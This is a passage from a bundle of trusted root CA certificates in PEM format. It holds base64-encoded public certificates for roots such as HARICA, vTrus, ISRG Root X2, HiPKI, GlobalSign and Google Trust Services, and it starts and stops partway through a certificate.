A1UEBhMCVE4xNzA1BgNVBAoMLkFnZW5jZSBOYXRpb25hbGUgZGUgQ2VydGlmaWNhdGlvbiBFbGVj
dHJvbmlxdWUxGTAXBgNVBAMMEFR1blRydXN0IFJvb3QgQ0EwHhcNMTkwNDI2MDg1NzU2WhcNNDQw
NDI2MDg1NzU2WjBhMQswCQYDVQQGEwJUTjE3MDUGA1UECgwuQWdlbmNlIE5hdGlvbmFsZSBkZSBD
ZXJ0aWZpY2F0aW9uIEVsZWN0cm9uaXF1ZTEZMBcGA1UEAwwQVHVuVHJ1c3QgUm9vdCBDQTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMPN0/y9BFPdDCA61YguBUtB9YOCfvdZn56eY+hz
2vYGqU8ftPkLHzmMmiDQfgbU7DTZhrx1W4eI8NLZ1KMKsmwb60ksPqxd2JQDoOw05TDENX37Jk0b
bjBU2PWARZw5rZzJJQRNmpA+TkBuimvNKWfGzC3gdOgFVwpIUPp6Q9p+7FuaDmJ2/uqdHYVy7BG7
NegfJ7/Boce7SBbdVtfMTqDhuazb1YMZGoXRlJfXyqNlC/M4+QKu3fZnz8k/9YosRxqZbwUN/dAd
gjH8KcwAWJeRTIAAHDOFli/LQcKLEITDCSSJH7UP2dl3RxiSlGBcx5kDPP73lad9UKGAwqmDrViW
VSHbhlnUr8a83YFuB9tgYv7sEG7aaAH0gxupPqJbI9dkxt/con3YS7qC0lH4Zr8GRuR5KiY2eY8f
Tpkdso8MDhz/yV3A/ZAQprE38806JG60hZC/gLkMjNWb1sjxVj8agIl6qeIbMlEsPvLfe/ZdeikZ
juXIvTZxi11Mwh0/rViizz1wTaZQmCXcI/m4WEEIcb9PuISgjwBUFfyRbVinljvrS5YnzWuioYas
DXxU5mZMZl+QviGaAkYt5IPCgLnPSz7ofzwB7I9ezX/SKEIBlYrilz0QIX32nRzFNKHsLA4KUiwS
VXAkPcvCFDVDXSdOvsC9qnyW5/yeYa1E0wCXAgMBAAGjYzBhMB0GA1UdDgQWBBQGmpsfU33x9aTI
04Y+oXNZtPdEITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFAaamx9TffH1pMjThj6hc1m0
90QhMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAqgVutt0Vyb+zxiD2BkewhpMl
0425yAA/l/VSJ4hxyXT968pk21vvHl26v9Hr7lxpuhbI87mP0zYuQEkHDVneixCwSQXi/5E/S7fd
Ao74gShczNxtr18UnH1YeA32gAm56Q6XKRm4t+v4FstVEuTGfbvE7Pi1HE4+Z7/FXxttbUcoqgRY
YdZ2vyJ/0Adqp2RT8JeNnYA/u8EH22Wv5psymsNUk8QcCMNE+3tjEUPRahphanltkE8pjkcFwRJp
adbGNjHh/PqAulxPxOu3Mqz4dWEX1xAZufHSCe96Qp1bWgvUxpVOKs7/B9dPfhgGiPEZtdmYu65x
xBzndFlY7wyJz4sfdZMaBBSSSFCp61cpABbjNhzI+L/wM9VBD8TMPN3pM0MBkRArHtG5Xc0yGYuP
jCB31yLEQtyEFpslbei0VXF/sHyz03FJuc9SpAQ/3D2gu68zngowYI7bnV2UqL1g52KAdoGDDIzM
MEZJ4gzSqK/rYXHv5yJiqfdcZGyfFoxnNidF9Ql7v/YQCvGwjVRDjAS6oz/v4jXH+XTgbzRB0L9z
ZVcg+ZtnemZoJE6AZb0QmQZZ8mWvuMZHu/2QeItBcy6vVR/cO5JyboTT0GFMDcx2V+IthSIVNg3r
AZ3r2OvEhJn7wAzMMujjd9qDRIueVSjAi1jTkD5OGwDxFa2DK5o=
-----END CERTIFICATE-----

HARICA TLS RSA Root CA 2021
===========================
-----BEGIN CERTIFICATE-----
MIIFpDCCA4ygAwIBAgIQOcqTHO9D88aOk8f0ZIk4fjANBgkqhkiG9w0BAQsFADBsMQswCQYDVQQG
EwJHUjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9u
cyBDQTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBSU0EgUm9vdCBDQSAyMDIxMB4XDTIxMDIxOTEwNTUz
OFoXDTQ1MDIxMzEwNTUzN1owbDELMAkGA1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRl
bWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgUlNB
IFJvb3QgQ0EgMjAyMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIvC569lmwVnlskN
JLnQDmT8zuIkGCyEf3dRywQRNrhe7Wlxp57kJQmXZ8FHws+RFjZiPTgE4VGC/6zStGndLuwRo0Xu
a2s7TL+MjaQenRG56Tj5eg4MmOIjHdFOY9TnuEFE+2uva9of08WRiFukiZLRgeaMOVig1mlDqa2Y
Ulhu2wr7a89o+uOkXjpFc5gH6l8Cct4MpbOfrqkdtx2z/IpZ525yZa31MJQjB/OCFks1mJxTuy/K
5FrZx40d/JiZ+yykgmvwKh+OC19xXFyuQnspiYHLA6OZyoieC0AJQTPb5lh6/a6ZcMBaD9YThnEv
dmn8kN3bLW7R8pv1GmuebxWMevBLKKAiOIAkbDakO/IwkfN4E8/BPzWr8R0RI7VDIp4BkrcYAuUR
0YLbFQDMYTfBKnya4dC6s1BG7oKsnTH4+yPiAwBIcKMJJnkVU2DzOFytOOqBAGMUuTNe3QvboEUH
GjMJ+E20pwKmafTCWQWIZYVWrkvL4N48fS0ayOn7H6NhStYqE613TBoYm5EPWNgGVMWX+Ko/IIqm
haZ39qb8HOLubpQzKoNQhArlT4b4UEV4AIHrW2jjJo3Me1xR9BQsQL4aYB16cmEdH2MtiKrOokWQ
CPxrvrNQKlr9qEgYRtaQQJKQCoReaDH46+0N0x3GfZkYVVYnZS6NRcUk7M7jAgMBAAGjQjBAMA8G
A1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFApII6ZgpJIKM+qTW8VX6iVNvRLuMA4GA1UdDwEB/wQE
AwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAPpBIqm5iFSVmewzVjIuJndftTgfvnNAUX15QvWiWkKQU
EapobQk1OUAJ2vQJLDSle1mESSmXdMgHHkdt8s4cUCbjnj1AUz/3f5Z2EMVGpdAgS1D0NTsY9FVq
QRtHBmg8uwkIYtlfVUKqrFOFrJVWNlar5AWMxajaH6NpvVMPxP/cyuN+8kyIhkdGGvMA9YCRotxD
QpSbIPDRzbLrLFPCU3hKTwSUQZqPJzLB5UkZv/HywouoCjkxKLR9YjYsTewfM7Z+d21+UPCfDtcR
j88YxeMn/ibvBZ3PzzfF0HvaO7AWhAw6k9a+F9sPPg4ZeAnHqQJyIkv3N3a6dcSFA1pj1bF1BcK5
vZStjBWZp5N99sXzqnTPBIWUmAD04vnKJGW/4GKvyMX6ssmeVkjaef2WdhW+o45WxLM0/L5H9MG0
qPzVMIho7suuyWPEdr6sOBjhXlzPrjoiUevRi7PzKzMHVIf6tLITe7pTBGIBnfHAT+7hOtSLIBD6
Alfm78ELt5BGnBkpjNxvoEppaZS3JGWg/6w/zgH7IS79aPib8qXPMThcFarmlwDB31qlpzmq6YR/
PFGoOtmUW4y/Twhx5duoXNTSpv4Ao8YWxw/ogM4cKGR0GQjTQuPOAF1/sdwTsOEFy9EgqoZ0njnn
kf3/W9b3raYvAwtt41dU63ZTGI0RmLo=
-----END CERTIFICATE-----

HARICA TLS ECC Root CA 2021
===========================
-----BEGIN CERTIFICATE-----
MIICVDCCAdugAwIBAgIQZ3SdjXfYO2rbIvT/WeK/zjAKBggqhkjOPQQDAzBsMQswCQYDVQQGEwJH
UjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBD
QTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBFQ0MgUm9vdCBDQSAyMDIxMB4XDTIxMDIxOTExMDExMFoX
DTQ1MDIxMzExMDEwOVowbDELMAkGA1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRlbWlj
IGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgRUNDIFJv
b3QgQ0EgMjAyMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABDgI/rGgltJ6rK9JOtDA4MM7KKrxcm1l
AEeIhPyaJmuqS7psBAqIXhfyVYf8MLA04jRYVxqEU+kw2anylnTDUR9YSTHMmE5gEYd103KUkE+b
ECUqqHgtvpBBWJAVcqeht6NCMEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUyRtTgRL+BNUW
0aq8mm+3oJUZbsowDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMDA2cAMGQCMBHervjcToiwqfAi
rcJRQO9gcS3ujwLEXQNwSaSS6sUUiHCm0w2wqsosQJz76YJumgIwK0eaB8bRwoF8yguWGEEbo/Qw
CZ61IygNnxS2PFOiTAZpffpskcYqSUXm7LcT4Tps
-----END CERTIFICATE-----

Autoridad de Certificacion Firmaprofesional CIF A62634068
=========================================================
-----BEGIN CERTIFICATE-----
MIIGFDCCA/ygAwIBAgIIG3Dp0v+ubHEwDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCRVMxQjBA
BgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2
MjYzNDA2ODAeFw0xNDA5MjMxNTIyMDdaFw0zNjA1MDUxNTIyMDdaMFExCzAJBgNVBAYTAkVTMUIw
QAYDVQQDDDlBdXRvcmlkYWQgZGUgQ2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBB
NjI2MzQwNjgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDD
Utd9thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQMcas9UX4P
B99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefGL9ItWY16Ck6WaVICqjaY
7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15iNA9wBj4gGFrO93IbJWyTdBSTo3OxDqqH
ECNZXyAFGUftaI6SEspd/NYrspI8IM/hX68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyI
plD9amML9ZMWGxmPsu2bm8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctX
MbScyJCyZ/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirjaEbsX
LZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/TKI8xWVvTyQKmtFLK
bpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF6NkBiDkal4ZkQdU7hwxu+g/GvUgU
vzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVhOSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMB0GA1Ud
DgQWBBRlzeurNR4APn7VdMActHNHDhpkLzASBgNVHRMBAf8ECDAGAQH/AgEBMIGmBgNVHSAEgZ4w
gZswgZgGBFUdIAAwgY8wLwYIKwYBBQUHAgEWI2h0dHA6Ly93d3cuZmlybWFwcm9mZXNpb25hbC5j
b20vY3BzMFwGCCsGAQUFBwICMFAeTgBQAGEAcwBlAG8AIABkAGUAIABsAGEAIABCAG8AbgBhAG4A
bwB2AGEAIAA0ADcAIABCAGEAcgBjAGUAbABvAG4AYQAgADAAOAAwADEANzAOBgNVHQ8BAf8EBAMC
AQYwDQYJKoZIhvcNAQELBQADggIBAHSHKAIrdx9miWTtj3QuRhy7qPj4Cx2Dtjqn6EWKB7fgPiDL
4QjbEwj4KKE1soCzC1HA01aajTNFSa9J8OA9B3pFE1r/yJfY0xgsfZb43aJlQ3CTkBW6kN/oGbDb
LIpgD7dvlAceHabJhfa9NPhAeGIQcDq+fUs5gakQ1JZBu/hfHAsdCPKxsIl68veg4MSPi3i1O1il
I45PVf42O+AMt8oqMEEgtIDNrvx2ZnOorm7hfNoD6JQg5iKj0B+QXSBTFCZX2lSX3xZEEAEeiGaP
cjiT3SC3NL7X8e5jjkd5KAb881lFJWAiMxujX6i6KtoaPc1A6ozuBRWV1aUsIC+nmCjuRfzxuIgA
LI9C2lHVnOUTaHFFQ4ueCyE8S1wF3BqfmI7avSKecs2tCsvMo2ebKHTEm9caPARYpoKdrcd7b/+A
lun4jWq9GJAd/0kakFI3ky88Al2CdgtR5xbHV/g4+afNmyJU72OwFW1TZQNKXkqgsqeOSQBZONXH
9IBk9W6VULgRfhVwOEqwf9DEMnDAGf/JOC0ULGb0QkTmVXYbgBVX/8Cnp6o5qtjTcNAuuuuUavpf
NIbnYrX9ivAwhZTJryQCL2/W3Wf+47BVTwSYT6RBVuKT0Gro1vP7ZeDOdcQxWQzugsgMYDNKGbqE
ZycPvEJdvSRUDewdcAZfpLz6IHxV
-----END CERTIFICATE-----

vTrus ECC Root CA
=================
-----BEGIN CERTIFICATE-----
MIICDzCCAZWgAwIBAgIUbmq8WapTvpg5Z6LSa6Q75m0c1towCgYIKoZIzj0EAwMwRzELMAkGA1UE
BhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xGjAYBgNVBAMTEXZUcnVzIEVDQyBS
b290IENBMB4XDTE4MDczMTA3MjY0NFoXDTQzMDczMTA3MjY0NFowRzELMAkGA1UEBhMCQ04xHDAa
BgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xGjAYBgNVBAMTEXZUcnVzIEVDQyBSb290IENBMHYw
EAYHKoZIzj0CAQYFK4EEACIDYgAEZVBKrox5lkqqHAjDo6LN/llWQXf9JpRCux3NCNtzslt188+c
ToL0v/hhJoVs1oVbcnDS/dtitN9Ti72xRFhiQgnH+n9bEOf+QP3A2MMrMudwpremIFUde4BdS49n
TPEQo0IwQDAdBgNVHQ4EFgQUmDnNvtiyjPeyq+GtJK97fKHbH88wDwYDVR0TAQH/BAUwAwEB/zAO
BgNVHQ8BAf8EBAMCAQYwCgYIKoZIzj0EAwMDaAAwZQIwV53dVvHH4+m4SVBrm2nDb+zDfSXkV5UT
QJtS0zvzQBm8JsctBp61ezaf9SXUY2sAAjEA6dPGnlaaKsyh2j/IZivTWJwghfqrkYpwcBE4YGQL
YgmRWAD5Tfs0aNoJrSEGGJTO
-----END CERTIFICATE-----

vTrus Root CA
=============
-----BEGIN CERTIFICATE-----
MIIFVjCCAz6gAwIBAgIUQ+NxE9izWRRdt86M/TX9b7wFjUUwDQYJKoZIhvcNAQELBQAwQzELMAkG
A1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xFjAUBgNVBAMTDXZUcnVzIFJv
b3QgQ0EwHhcNMTgwNzMxMDcyNDA1WhcNNDMwNzMxMDcyNDA1WjBDMQswCQYDVQQGEwJDTjEcMBoG
A1UEChMTaVRydXNDaGluYSBDby4sTHRkLjEWMBQGA1UEAxMNdlRydXMgUm9vdCBDQTCCAiIwDQYJ
KoZIhvcNAQEBBQADggIPADCCAgoCggIBAL1VfGHTuB0EYgWgrmy3cLRB6ksDXhA/kFocizuwZots
SKYcIrrVQJLuM7IjWcmOvFjai57QGfIvWcaMY1q6n6MLsLOaXLoRuBLpDLvPbmyAhykUAyyNJJrI
ZIO1aqwTLDPxn9wsYTwaP3BVm60AUn/PBLn+NvqcwBauYv6WTEN+VRS+GrPSbcKvdmaVayqwlHeF
XgQPYh1jdfdr58tbmnDsPmcF8P4HCIDPKNsFxhQnL4Z98Cfe/+Z+M0jnCx5Y0ScrUw5XSmXX+6KA
YPxMvDVTAWqXcoKv8R1w6Jz1717CbMdHflqUhSZNO7rrTOiwCcJlwp2dCZtOtZcFrPUGoPc2BX70
kLJrxLT5ZOrpGgrIDajtJ8nU57O5q4IikCc9Kuh8kO+8T/3iCiSn3mUkpF3qwHYw03dQ+A0Em5Q2
AXPKBlim0zvc+gRGE1WKyURHuFE5Gi7oNOJ5y1lKCn+8pu8fA2dqWSslYpPZUxlmPCdiKYZNpGvu
/9ROutW04o5IWgAZCfEF2c6Rsffr6TlP9m8EQ5pV9T4FFL2/s1m02I4zhKOQUqqzApVg+QxMaPnu
1RcN+HFXtSXkKe5lXa/R7jwXC1pDxaWG6iSe4gUH3DRCEpHWOXSuTEGC2/KmSNGzm/MzqvOmwMVO
9fSddmPmAsYiS8GVP1BkLFTltvA8Kc9XAgMBAAGjQjBAMB0GA1UdDgQWBBRUYnBj8XWEQ1iO0RYg
scasGrz2iTAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOC
AgEAKbqSSaet8PFww+SX8J+pJdVrnjT+5hpk9jprUrIQeBqfTNqK2uwcN1LgQkv7bHbKJAs5EhWd
nxEt/Hlk3ODg9d3gV8mlsnZwUKT+twpw1aA08XXXTUm6EdGz2OyC/+sOxL9kLX1jbhd47F18iMjr
jld22VkE+rxSH0Ws8HqA7Oxvdq6R2xCOBNyS36D25q5J08FsEhvMKar5CKXiNxTKsbhm7xqC5PD4
8acWabfbqWE8n/Uxy+QARsIvdLGx14HuqCaVvIivTDUHKgLKeBRtRytAVunLKmChZwOgzoy8sHJn
xDHO2zTlJQNgJXtxmOTAGytfdELSS8VZCAeHvsXDf+eW2eHcKJfWjwXj9ZtOyh1QRwVTsMo554Wg
icEFOwE30z9J4nfrI8iIZjs9OXYhRvHsXyO466JmdXTBQPfYaJqT4i2pLr0cox7IdMakLXogqzu4
sEb9b91fUlV1YvCXoHzXOP0l382gmxDPi7g4Xl7FtKYCNqEeXxzP4padKar9mK5S4fNBUvupLnKW
nyfjqnN9+BojZns7q2WwMgFLFT49ok8MKzWixtlnEjUwzXYuFrOZnk1PTi07NEPhmg4NpGaXutIc
SkwsKouLgU9xGqndXHt7CMUADTdA43x7VF8vhV929vensBxXVsFy6K2ir40zSbofitzmdHxghm+H
l3s=
-----END CERTIFICATE-----

ISRG Root X2
============
-----BEGIN CERTIFICATE-----
MIICGzCCAaGgAwIBAgIQQdKd0XLq7qeAwSxs6S+HUjAKBggqhkjOPQQDAzBPMQswCQYDVQQGEwJV
UzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMTDElT
UkcgUm9vdCBYMjAeFw0yMDA5MDQwMDAwMDBaFw00MDA5MTcxNjAwMDBaME8xCzAJBgNVBAYTAlVT
MSkwJwYDVQQKEyBJbnRlcm5ldCBTZWN1cml0eSBSZXNlYXJjaCBHcm91cDEVMBMGA1UEAxMMSVNS
RyBSb290IFgyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEzZvVn4CDCuwJSvMWSj5cz3es3mcFDR0H
ttwW+1qLFNvicWDEukWVEYmO6gbf9yoWHKS5xcUy4APgHoIYOIvXRdgKam7mAHf7AlF9ItgKbppb
d9/w+kHsOdx1ymgHDB/qo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNV
HQ4EFgQUfEKWrt5LSDv6kviejM9ti6lyN5UwCgYIKoZIzj0EAwMDaAAwZQIwe3lORlCEwkSHRhtF
cP9Ymd70/aTSVaYgLXTWNLxBo1BfASdWtL4ndQavEi51mI38AjEAi/V3bNTIZargCyzuFJ0nN6T5
U6VR5CmD1/iQMVtCnwr1/q4AaOeMSQ+2b1tbFfLn
-----END CERTIFICATE-----

HiPKI Root CA - G1
==================
-----BEGIN CERTIFICATE-----
MIIFajCCA1KgAwIBAgIQLd2szmKXlKFD6LDNdmpeYDANBgkqhkiG9w0BAQsFADBPMQswCQYDVQQG
EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xGzAZBgNVBAMMEkhpUEtJ
IFJvb3QgQ0EgLSBHMTAeFw0xOTAyMjIwOTQ2MDRaFw0zNzEyMzExNTU5NTlaME8xCzAJBgNVBAYT
AlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEbMBkGA1UEAwwSSGlQS0kg
Um9vdCBDQSAtIEcxMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA9B5/UnMyDHPkvRN0
o9QwqNCuS9i233VHZvR85zkEHmpwINJaR3JnVfSl6J3VHiGh8Ge6zCFovkRTv4354twvVcg3Px+k
wJyz5HdcoEb+d/oaoDjq7Zpy3iu9lFc6uux55199QmQ5eiY29yTw1S+6lZgRZq2XNdZ1AYDgr/SE
YYwNHl98h5ZeQa/rh+r4XfEuiAU+TCK72h8q3VJGZDnzQs7ZngyzsHeXZJzA9KMuH5UHsBffMNsA
GJZMoYFL3QRtU6M9/Aes1MU3guvklQgZKILSQjqj2FPseYlgSGDIcpJQ3AOPgz+yQlda22rpEZfd
hSi8MEyr48KxRURHH+CKFgeW0iEPU8DtqX7UTuybCeyvQqww1r/REEXgphaypcXTT3OUM3ECoWqj
1jOXTyFjHluP2cFeRXF3D4FdXyGarYPM+l7WjSNfGz1BryB1ZlpK9p/7qxj3ccC2HTHsOyDry+K4
9a6SsvfhhEvyovKTmiKe0xRvNlS9H15ZFblzqMF8b3ti6RZsR1pl8w4Rm0bZ/W3c1pzAtH2lsN0/
Vm+h+fbkEkj9Bn8SV7apI09bA8PgcSojt/ewsTu8mL3WmKgMa/aOEmem8rJY5AIJEzypuxC00jBF
8ez3ABHfZfjcK0NVvxaXxA/VLGGEqnKG/uY6fsI/fe78LxQ+5oXdUG+3Se0CAwEAAaNCMEAwDwYD
VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU8ncX+l6o/vY9cdVouslGDDjYr7AwDgYDVR0PAQH/BAQD
AgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBQUfB13HAE4/+qddRxosuej6ip0691x1TPOhwEmSKsxBHi
7zNKpiMdDg1H2DfHb680f0+BazVP6XKlMeJ45/dOlBhbQH3PayFUhuaVevvGyuqcSE5XCV0vrPSl
tJczWNWseanMX/mF+lLFjfiRFOs6DRfQUsJ748JzjkZ4Bjgs6FzaZsT0pPBWGTMpWmWSBUdGSquE
wx4noR8RkpkndZMPvDY7l1ePJlsMu5wP1G4wB9TcXzZoZjmDlicmisjEOf6aIW/Vcobpf2Lll07Q
JNBAsNB1CI69aO4I1258EHBGG3zgiLKecoaZAeO/n0kZtCW+VmWuF2PlHt/o/0elv+EmBYTksMCv
5wiZqAxeJoBF1PhoL5aPruJKHJwWDBNvOIf2u8g0X5IDUXlwpt/L9ZlNec1OvFefQ05rLisY+Gpz
jLrFNe85akEez3GoorKGB1s6yeHvP2UEgEcyRHCVTjFnanRbEEV16rCf0OY1/k6fi8wrkkVbbiVg
hUbN0aqwdmaTd5a+g744tiROJgvM7XpWGuDpWsZkrUx6AEhEL7lAuxM+vhV4nYWBSipX3tUZQ9rb
yltHhoMLP7YNdnhzeSJesYAfz77RP1YQmCuVh6EfnWQUYDksswBVLuT1sw5XxJFBAJw/6KXf6vb/
yPCtbVKoF6ubYfwSUTXkJf2vqmqGOQ==
-----END CERTIFICATE-----

GlobalSign ECC Root CA - R4
===========================
-----BEGIN CERTIFICATE-----
MIIB3DCCAYOgAwIBAgINAgPlfvU/k/2lCSGypjAKBggqhkjOPQQDAjBQMSQwIgYDVQQLExtHbG9i
YWxTaWduIEVDQyBSb290IENBIC0gUjQxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds
b2JhbFNpZ24wHhcNMTIxMTEzMDAwMDAwWhcNMzgwMTE5MDMxNDA3WjBQMSQwIgYDVQQLExtHbG9i
YWxTaWduIEVDQyBSb290IENBIC0gUjQxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds
b2JhbFNpZ24wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAS4xnnTj2wlDp8uORkcA6SumuU5BwkW
ymOxuYb4ilfBV85C+nOh92VC/x7BALJucw7/xyHlGKSq2XE/qNS5zowdo0IwQDAOBgNVHQ8BAf8E
BAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVLB7rUW44kB/+wpu+74zyTyjhNUwCgYI
KoZIzj0EAwIDRwAwRAIgIk90crlgr/HmnKAWBVBfw147bmF0774BxL4YSFlhgjICICadVGNA3jdg
UM/I2O2dgq43mLyjj0xMqTQrbO/7lZsm
-----END CERTIFICATE-----

GTS Root R1
===========
-----BEGIN CERTIFICATE-----
MIIFVzCCAz+gAwIBAgINAgPlk28xsBNJiGuiFzANBgkqhkiG9w0BAQwFADBHMQswCQYDVQQGEwJV
UzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3Qg
UjEwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UE
ChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjEwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2EQKLHuOhd5s73L+UPreVp0A8of2C+X0yBoJx9vaM
f/vo27xqLpeXo4xL+Sv2sfnOhB2x+cWX3u+58qPpvBKJXqeqUqv4IyfLpLGcY9vXmX7wCl7raKb0
xlpHDU0QM+NOsROjyBhsS+z8CZDfnWQpJSMHobTSPS5g4M/SCYe7zUjwTcLCeoiKu7rPWRnWr4+w
B7CeMfGCwcDfLqZtbBkOtdh+JhpFAz2weaSUKK0PfyblqAj+lug8aJRT7oM6iCsVlgmy4HqMLnXW
nOunVmSPlk9orj2XwoSPwLxAwAtcvfaHszVsrBhQf4TgTM2S0yDpM7xSma8ytSmzJSq0SPly4cpk
9+aCEI3oncKKiPo4Zor8Y/kB+Xj9e1x3+naH+uzfsQ55lVe0vSbv1gHR6xYKu44LtcXFilWr06zq
kUspzBmkMiVOKvFlRNACzqrOSbTqn3yDsEB750Orp2yjj32JgfpMpf/VjsPOS+C12LOORc92wO1A
K/1TD7Cn1TsNsYqiA94xrcx36m97PtbfkSIS5r762DL8EGMUUXLeXdYWk70paDPvOmbsB4om3xPX
V2V4J95eSRQAogB/mqghtqmxlbCluQ0WEdrHbEg8QOB+DVrNVjzRlwW5y0vtOUucxD/SVRNuJLDW
cfr0wbrM7Rv1/oFB2ACYPTrIrnqYNxgFlQIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0T
AQH/BAUwAwEB/zAdBgNVHQ4EFgQU5K8rJnEaK0gnhS9SZizv8IkTcT4wDQYJKoZIhvcNAQEMBQAD
ggIBAJ+qQibbC5u+/x6Wki4+omVKapi6Ist9wTrYggoGxval3sBOh2Z5ofmmWJyq+bXmYOfg6LEe
QkEzCzc9zolwFcq1JKjPa7XSQCGYzyI0zzvFIoTgxQ6KfF2I5DUkzps+GlQebtuyh6f88/qBVRRi
ClmpIgUxPoLW7ttXNLwzldMXG+gnoot7TiYaelpkttGsN/H9oPM47HLwEXWdyzRSjeZ2axfG34ar
J45JK3VmgRAhpuo+9K4l/3wV3s6MJT/KYnAK9y8JZgfIPxz88NtFMN9iiMG1D53Dn0reWVlHxYci
NuaCp+0KueIHoI17eko8cdLiA6EfMgfdG+RCzgwARWGAtQsgWSl4vflVy2PFPEz0tv/bal8xa5me
LMFrUKTX5hgUvYU/Z6tGn6D/Qqc6f1zLXbBwHSs09dR2CQzreExZBfMzQsNhFRAbd03OIozUhfJF
fbdT6u9AWpQKXCBfTkBdYiJ23//OYb2MI3jSNwLgjt7RETeJ9r/tSQdirpLsQBqvFAnZ0E6yove+
7u7Y/9waLd64NnHi/Hm3lCXRSHNboTXns5lndcEZOitHTtNCjv0xyBZm2tIMPNuzjsmhDYAPexZ3
FL//2wmUspO8IFgV6dtxQ/PeEMMA3KgqlbbC1j+Qa3bbbP6MvPJwNQzcmRk13NfIRmPVNnGuV/u3
gm3c
-----END CERTIFICATE-----

GTS Root R2
===========
-----BEGIN CERTIFICATE-----
MIIFVzCCAz+gAwIBAgINAgPlrsWNBCUaqxElqjANBgkqhkiG9w0BAQwFADBHMQswCQYDVQQGEwJV
UzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3Qg
UjIwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UE
ChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjIwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDO3v2m++zsFDQ8BwZabFn3GTXd98GdVarTzTukk3Lv
CvptnfbwhYBboUhSnznFt+4orO/LdmgUud+tAWyZH8QiHZ/+cnfgLFuv5AS/T3KgGjSY6Dlo7JUl
e3ah5mm5hRm9iYz+re026nO8/4Piy33B0s5Ks40FnotJk9/BW9BuXvAuMC6C/Pq8tBcKSOWIm8Wb
a96wyrQD8Nr0kLhlZPdcTK3ofmZemde4wj7I0BOdre7kRXuJVfeKH2JShBKzwkCX44ofR5GmdFrS
